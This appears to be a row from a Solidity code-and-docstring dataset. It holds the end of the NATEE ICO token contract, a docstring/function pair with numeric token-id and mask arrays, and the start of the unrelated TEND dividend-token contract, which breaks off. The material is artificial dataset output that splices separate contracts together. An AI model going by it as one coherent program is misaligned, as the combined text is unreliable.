uint256 buyToken = value;
if(totalSell < PRE_ICO_ROUND) // Still in PRE ICO ROUND
{
require(buyToken >= MIN_PRE_ICO_ROUND);
if(buyToken > PRE_ICO_ROUND - totalSell)
buyToken = uint256(PRE_ICO_ROUND - totalSell);
}
else if(totalSell < PRE_ICO_ROUND + ICO_ROUND)
{
require(buyToken >= MIN_ICO_ROUND);
if(buyToken > MAX_ICO_ROUND) buyToken = MAX_ICO_ROUND;
if(buyToken > (PRE_ICO_ROUND + ICO_ROUND) - totalSell)
buyToken = (PRE_ICO_ROUND + ICO_ROUND) - totalSell;
}
sgdWant = buyToken * TOKEN_PRICE;
require(sgds.balanceOf(_addr) >= sgdWant);
sgds.intTransfer(_addr,address(this),sgdWant); // All SGSD Will Transfer to this account
emit BuyICO(_addr, buyToken * _1Token);
balance[_addr] += buyToken * _1Token;
totalBuyICO[_addr] += buyToken;
//-------------------------------------
// Add TotalSupply HERE
totalSupply_ += buyToken * _1Token;
//-------------------------------------
totalSell += buyToken;
if(totalBuyICO[_addr] >= 8000 && referToID[_addr] == 0)
addReferal(_addr,1,0);
bonusWarrant(_addr,buyToken);
if(totalSell >= SOFT_CAP && icoPass == false) passSoftCap(); // mean just pass softcap
if(totalSell >= PRE_ICO_ROUND + ICO_ROUND && hardCap == false)
{
hardCap = true;
setCloseICO();
}
setAllowControl(_addr);
addHolder(_addr);
if(refer == true)
addCommission(_addr,buyToken);
emit Transfer(address(this),_addr, buyToken * _1Token);
return true;
}
// function to withdraw the earned commission. This depends on type of referral code you holding.
// If Soft Cap pass is required, you will earn SGDS and withdraw the commission to be paid in ETH
function redeemCommision(address addr,uint256 value) public{
require(referToID[addr] > 0);
uint256 idx = referToID[addr] - 1;
uint256 refType = uint256(referals[idx].refType);
if(refType == 1 || refType == 2 || refType == 3)
require(icoPass == true);
require(value > 0);
require(value <= referals[idx].allCommission - referals[idx].redeemCom);
// TRANSFER SGDS TO address
referals[idx].redeemCom += value;
sgds.transfer(addr,value);
emit RedeemCommision(addr,value,referals[idx].allCommission - referals[idx].redeemCom);
}
// check how many tokens sold. This to display on official natee.io website.
function getTotalSell() external view returns(uint256){
return totalSell;
}
// check how many token purchased from the given address.
function getTotalBuyICO(address _addr) external view returns(uint256){
return totalBuyICO[_addr];
}
// VALUE IN SGDS
// Function for AGC and ICZ REDEEM SHARING // 100 % = 10000
function addCOPartner(address addr,uint256 percent,uint256 maxFund) onlyOwners public {
require(redeemPercent[addr] == 0);
redeemPercent[addr] = percent;
redeemMax[addr] = maxFund;
}
function redeemFund(address addr,uint256 value) public {
require(icoPass == true);
require(redeemPercent[addr] > 0);
uint256 maxRedeem;
maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000;
if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr];
require(redeemed[addr] + value <= maxRedeem);
sgds.transfer(addr,value);
redeemed[addr] += value;
}
function checkRedeemFund(address addr) public view returns (uint256) {
uint256 maxRedeem;
maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000;
if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr];
return maxRedeem - redeemed[addr];
}
// Function to close the ICO, this function will transfer the token to founders and advisors
function setCloseICO() public {
require(closeICO == false);
require(startICO == true);
require(icoPass == true);
if(hardCap == false){
require(uint32(now) >= icoEndTime);
}
uint256 lessAdvisor;
uint256 maxAdvisor;
uint256 maxFounder;
uint256 i;
closeICO = true;
// Count Max Advisor
maxAdvisor = 0;
for(i=0;i<advisors.length;i++)
{
if(advisors[i] != address(0))
maxAdvisor++;
}
maxFounder = 0;
for(i=0;i<founders.length;i++)
{
if(founders[i] != address(0))
maxFounder++;
}
TOKEN_PER_ADVISOR = ADVISOR_SUPPLY / maxAdvisor;
// Maximum 200,000 Per Advisor or less
if(TOKEN_PER_ADVISOR > 200000 ether) {
TOKEN_PER_ADVISOR = 200000 ether;
}
lessAdvisor = ADVISOR_SUPPLY - (TOKEN_PER_ADVISOR * maxAdvisor);
// less from Advisor will pay to Founder
TOKEN_PER_FOUNDER = (FOUNDER_SUPPLY + lessAdvisor) / maxFounder;
emit CloseICO();
// Start Send Token to Found and Advisor
for(i=0;i<advisors.length;i++)
{
if(advisors[i] != address(0))
{
balance[advisors[i]] += TOKEN_PER_ADVISOR;
totalSupply_ += TOKEN_PER_ADVISOR;
lockAddress(advisors[i]); // THIS ADDRESS WILL LOCK FOR 2 YEAR CAN'T TRANSFER
addHolder(advisors[i]);
setAllowControl(advisors[i]);
emit Transfer(address(this), advisors[i], TOKEN_PER_ADVISOR);
emit RedeemAdvisor(advisors[i],TOKEN_PER_ADVISOR);
}
}
for(i=0;i<founders.length;i++)
{
if(founders[i] != address(0))
{
balance[founders[i]] += TOKEN_PER_FOUNDER;
totalSupply_ += TOKEN_PER_FOUNDER;
lockAddress(founders[i]);
addHolder(founders[i]);
setAllowControl(founders[i]);
emit Transfer(address(this),founders[i],TOKEN_PER_FOUNDER);
emit RedeemFounder(founders[i],TOKEN_PER_FOUNDER);
}
}
}
}
// main Conttract of NATEE Token, total token is 100 millions and there is no burn token function.
// The token will be auto generated from this function every time after the payment is confirmed
// from the buyer. In short, NATEE token will only be issued, based on the payment.
// There will be no NATEE Token issued in advance. There is no NATEE Token inventory, no stocking,hence,
// there is no need to have the burning function to burn the token/coin in this Smart Contract unlike others ICOs.
contract NATEE is ICO_Token {
using SafeMath256 for uint256;
string public name = "NATEE";
string public symbol = "NATEE"; // Real Name NATEE
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 100000000 ether;
NateePrivate public nateePrivate;
bool privateRedeem;
uint256 public nateeWExcRate = 100; // SGDS Price
uint256 public nateeWExcRateExp = 100; //SGDS Price
address public AGC_ADDR;
address public RM_PRIVATE_INVESTOR_ADDR;
address public ICZ_ADDR;
address public SEITEE_INTERNAL_USE;
event RedeemNatee(address indexed _addr, uint256 _private,uint256 _gotNatee);
event RedeemWarrat(address indexed _addr,address _warrant,string symbole,uint256 value);
constructor() public {
AGC_ADDR = 0xdd25648927291130CBE3f3716A7408182F28b80a; // 1% payment to strategic partne
addCOPartner(AGC_ADDR,100,30000000);
RM_PRIVATE_INVESTOR_ADDR = 0x32F359dE611CFe8f8974606633d8bDCBb33D91CB;
//ICZ is the ICO portal who provides ERC20 solutions and audit NATEE IC
ICZ_ADDR = 0x1F10C47A07BAc12eDe10270bCe1471bcfCEd4Baf; // 5% payment to ICZ capped at 200k SGD
addCOPartner(ICZ_ADDR,500,20000000);
// 20M Internal use to send to NATEE SDK USER
SEITEE_INTERNAL_USE = 0x1219058023bE74FA30C663c4aE135E75019464b4;
balance[RM_PRIVATE_INVESTOR_ADDR] = 3000000 ether;
totalSupply_ += 3000000 ether;
lockAddress(RM_PRIVATE_INVESTOR_ADDR);
setAllowControl(RM_PRIVATE_INVESTOR_ADDR);
addHolder(RM_PRIVATE_INVESTOR_ADDR);
emit Transfer(address(this),RM_PRIVATE_INVESTOR_ADDR,3000000 ether);
balance[SEITEE_INTERNAL_USE] = 20000000 ether;
totalSupply_ += 20000000 ether;
setAllowControl(SEITEE_INTERNAL_USE);
addHolder(SEITEE_INTERNAL_USE);
emit Transfer(address(this),SEITEE_INTERNAL_USE,20000000 ether);
sgds = SGDSInterface(0xf7EfaF88B380469084f3018271A49fF743899C89);
warrant = NateeWarrantInterface(0x7F28D94D8dc94809a3f13e6a6e9d56ad0B6708fe);
nateePrivate = NateePrivate(0x67A9d6d1521E02eCfb4a4C110C673e2c027ec102);
}
// SET SGDS Contract Address
function setSGDSContractAddress(address _addr) onlyOwners external {
sgds = SGDSInterface(_addr);
}
function setNateePrivate(address _addr) onlyOwners external {
nateePrivate = NateePrivate(_addr);
}
function setNateeWarrant(address _addr) onlyOwners external {
warrant = NateeWarrantInterface(_addr);
}
function changeWarrantPrice(uint256 normalPrice,uint256 expPrice) onlyOwners external{
if(uint32(now) < warrant.expireDate())
{
nateeWExcRate = normalPrice;
nateeWExcRateExp = expPrice;
}
}
// function to convert Warrant to NATEE Token, the Warrant holders must have SGDS paid for the conversion fee.
function redeemWarrant(address addr,uint256 value) public returns(bool){
require(owners[msg.sender] == true || addr == msg.sender);
require(closeICO == true);
require(sgds.getUserControl(addr) == false);
uint256 sgdsPerToken;
uint256 totalSGDSUse;
uint256 wRedeem;
uint256 nateeGot;
require(warrant.getUserControl(addr) == false);
if( uint32(now) <= warrant.expireDate())
sgdsPerToken = nateeWExcRate;
else
sgdsPerToken = nateeWExcRateExp;
wRedeem = value / _1Token;
require(wRedeem > 0);
totalSGDSUse = wRedeem * sgdsPerToken;
//check enought SGDS to redeem warrant;
require(sgds.balanceOf(addr) >= totalSGDSUse);
// Start Redeem Warrant;
if(sgds.useSGDS(addr,totalSGDSUse) == true)
{
nateeGot = wRedeem * _1Token;
warrant.redeemWarrant(addr,nateeGot); // duduct Warrant;
balance[addr] += nateeGot;
// =================================
// TOTAL SUPPLY INCREATE
//==================================
totalSupply_ += nateeGot;
//==================================
addHolder(addr);
emit Transfer(address(this),addr,nateeGot);
emit RedeemWarrat(addr,address(warrant),"NATEE-W1",nateeGot);
}
return true;
}
// function to distribute NATEE PRIVATE TOKEN to early investors (from private-sales)
function reddemAllPrivate() onlyOwners public returns(bool){
require(privateRedeem == false);
uint256 maxHolder = nateePrivate.getMaxHolder();
address tempAddr;
uint256 priToken;
uint256 nateeGot;
uint256 i;
for(i=0;i<maxHolder;i++)
{
tempAddr = nateePrivate.getAddressByID(i);
priToken = nateePrivate.balancePrivate(tempAddr);
if(priToken > 0)
{
nateeGot = priToken * 8;
nateePrivate.redeemToken(tempAddr,priToken);
balance[tempAddr] += nateeGot;
totalSupply_ += nateeGot;
privateBalance[tempAddr] += nateeGot;
allowControl[tempAddr] = true;
addHolder(tempAddr);
emit Transfer( address(this), tempAddr, nateeGot);
emit RedeemNatee(tempAddr,priToken,nateeGot);
}
}
privateRedeem = true;
}
} | SET SGDS Contract Address | function setSGDSContractAddress(address _addr) onlyOwners external {
sgds = SGDSInterface(_addr);
}
| 2,573,342 | [
1,
4043,
348,
43,
3948,
13456,
5267,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
13928,
43,
3948,
8924,
1887,
12,
2867,
389,
4793,
13,
1338,
5460,
414,
3903,
288,
203,
202,
202,
1055,
2377,
273,
348,
43,
3948,
1358,
24899,
4793,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title TEND token
* @version 2.0
* @author Validity Labs AG <[email protected]>
*
* The TTA tokens are issued as participation certificates and represent
* uncertificated securities within the meaning of article 973c Swiss CO. The
* issuance of the TTA tokens has been governed by a prospectus issued by
* Tend Technologies AG.
*
* TTA tokens are only recognized and transferable in undivided units.
*
* The holder of a TTA token must prove his possessorship to be recognized by
* the issuer as being entitled to the rights arising out of the respective
* participation certificate; he/she waives any rights if he/she is not in a
* position to prove him/her being the holder of the respective token.
*
* Similarly, only the person who proves him/her being the holder of the TTA
* Token is entitled to transfer title and ownership on the token to another
* person. Both the transferor and the transferee agree and accept hereby
* explicitly that the tokens are transferred digitally, i.e. in a form-free
* manner. However, if any regulators, courts or similar would require written
* confirmation of a transfer of the transferable uncertificated securities
* from one investor to another investor, such investors will provide written
* evidence of such transfer.
*/
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract DividendToken is StandardToken, Ownable {
using SafeMath for uint256;
// time before dividendEndTime during which dividend cannot be claimed by token holders
// instead the unclaimed dividend can be claimed by treasury in that time span
uint256 public claimTimeout = 20 days;
uint256 public dividendCycleTime = 350 days;
uint256 public currentDividend;
mapping(address => uint256) unclaimedDividend;
// tracks when the dividend balance has been updated last time
mapping(address => uint256) public lastUpdate;
uint256 public lastDividendIncreaseDate;
// allow payment of dividend only by special treasury account (treasury can be set and altered by owner,
// multiple treasurer accounts are possible
mapping(address => bool) public isTreasurer;
uint256 public dividendEndTime = 0;
event Payin(address _owner, uint256 _value, uint256 _endTime);
event Payout(address _tokenHolder, uint256 _value);
event Reclaimed(uint256 remainingBalance, uint256 _endTime, uint256 _now);
event ChangedTreasurer(address treasurer, bool active);
/**
* @dev Deploy the DividendToken contract and set the owner of the contract
*/
constructor() public {
isTreasurer[owner] = true;
}
/**
* @dev Request payout dividend (claim) (requested by tokenHolder -> pull)
* dividends that have not been claimed within 330 days expire and cannot be claimed anymore by the token holder.
*/
function claimDividend() public returns (bool) {
// unclaimed dividend fractions should expire after 330 days and the owner can reclaim that fraction
require(dividendEndTime > 0);
require(dividendEndTime.sub(claimTimeout) > block.timestamp);
updateDividend(msg.sender);
uint256 payment = unclaimedDividend[msg.sender];
unclaimedDividend[msg.sender] = 0;
msg.sender.transfer(payment);
// Trigger payout event
emit Payout(msg.sender, payment);
return true;
}
/**
* @dev Transfer dividend (fraction) to new token holder
* @param _from address The address of the old token holder
* @param _to address The address of the new token holder
* @param _value uint256 Number of tokens to transfer
*/
function transferDividend(address _from, address _to, uint256 _value) internal {
updateDividend(_from);
updateDividend(_to);
uint256 transAmount = unclaimedDividend[_from].mul(_value).div(balanceOf(_from));
unclaimedDividend[_from] = unclaimedDividend[_from].sub(transAmount);
unclaimedDividend[_to] = unclaimedDividend[_to].add(transAmount);
}
/**
* @dev Update the dividend of hodler
* @param _hodler address The Address of the hodler
*/
function updateDividend(address _hodler) internal {
// last update in previous period -> reset claimable dividend
if (lastUpdate[_hodler] < lastDividendIncreaseDate) {
unclaimedDividend[_hodler] = calcDividend(_hodler, totalSupply_);
lastUpdate[_hodler] = block.timestamp;
}
}
/**
* @dev Get claimable dividend for the hodler
* @param _hodler address The Address of the hodler
*/
function getClaimableDividend(address _hodler) public constant returns (uint256 claimableDividend) {
if (lastUpdate[_hodler] < lastDividendIncreaseDate) {
return calcDividend(_hodler, totalSupply_);
} else {
return (unclaimedDividend[_hodler]);
}
}
/**
* @dev Overrides transfer method from BasicToken
* transfer token for a specified address
* @param _to address The address to transfer to.
* @param _value uint256 The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
transferDividend(msg.sender, _to, _value);
// Return from inherited transfer method
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// Prevent dividend to be claimed twice
transferDividend(_from, _to, _value);
// Return from inherited transferFrom method
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Set / alter treasurer "account". This can be done from owner only
* @param _treasurer address Address of the treasurer to create/alter
* @param _active bool Flag that shows if the treasurer account is active
*/
function setTreasurer(address _treasurer, bool _active) public onlyOwner {
isTreasurer[_treasurer] = _active;
emit ChangedTreasurer(_treasurer, _active);
}
/**
* @dev Request unclaimed ETH, payback to beneficiary (owner) wallet
* dividend payment is possible every 330 days at the earliest - can be later, this allows for some flexibility,
* e.g. board meeting had to happen a bit earlier this year than previous year.
*/
function requestUnclaimed() public onlyOwner {
// Send remaining ETH to beneficiary (back to owner) if dividend round is over
require(block.timestamp >= dividendEndTime.sub(claimTimeout));
msg.sender.transfer(address(this).balance);
emit Reclaimed(address(this).balance, dividendEndTime, block.timestamp);
}
/**
* @dev ETH Payin for Treasurer
* Only owner or treasurer can do a payin for all token holder.
* Owner / treasurer can also increase dividend by calling fallback function multiple times.
*/
function() public payable {
require(isTreasurer[msg.sender]);
require(dividendEndTime < block.timestamp);
// pay back unclaimed dividend that might not have been claimed by owner yet
if (address(this).balance > msg.value) {
uint256 payout = address(this).balance.sub(msg.value);
owner.transfer(payout);
emit Reclaimed(payout, dividendEndTime, block.timestamp);
}
currentDividend = address(this).balance;
// No active dividend cycle found, initialize new round
dividendEndTime = block.timestamp.add(dividendCycleTime);
// Trigger payin event
emit Payin(msg.sender, msg.value, dividendEndTime);
lastDividendIncreaseDate = block.timestamp;
}
/**
* @dev calculate the dividend
* @param _hodler address
* @param _totalSupply uint256
*/
function calcDividend(address _hodler, uint256 _totalSupply) public view returns(uint256) {
return (currentDividend.mul(balanceOf(_hodler))).div(_totalSupply);
}
}
contract TendToken is MintableToken, PausableToken, DividendToken {
using SafeMath for uint256;
string public constant name = "Tend Token";
string public constant symbol = "TTA";
uint8 public constant decimals = 18;
// Minimum transferable chunk
uint256 public granularity = 1e18;
/**
* @dev Constructor of TendToken that instantiate a new DividendToken
*/
constructor() public DividendToken() {
// token should not be transferrable until after all tokens have been issued
paused = true;
}
/**
* @dev Internal function that ensures `_amount` is multiple of the granularity
* @param _amount The quantity that wants to be checked
*/
function requireMultiple(uint256 _amount) internal view {
require(_amount.div(granularity).mul(granularity) == _amount);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
requireMultiple(_value);
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
requireMultiple(_value);
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public returns (bool) {
requireMultiple(_amount);
// Return from inherited mint method
return super.mint(_to, _amount);
}
/**
* @dev Function to batch mint tokens
* @param _to An array of addresses that will receive the minted tokens.
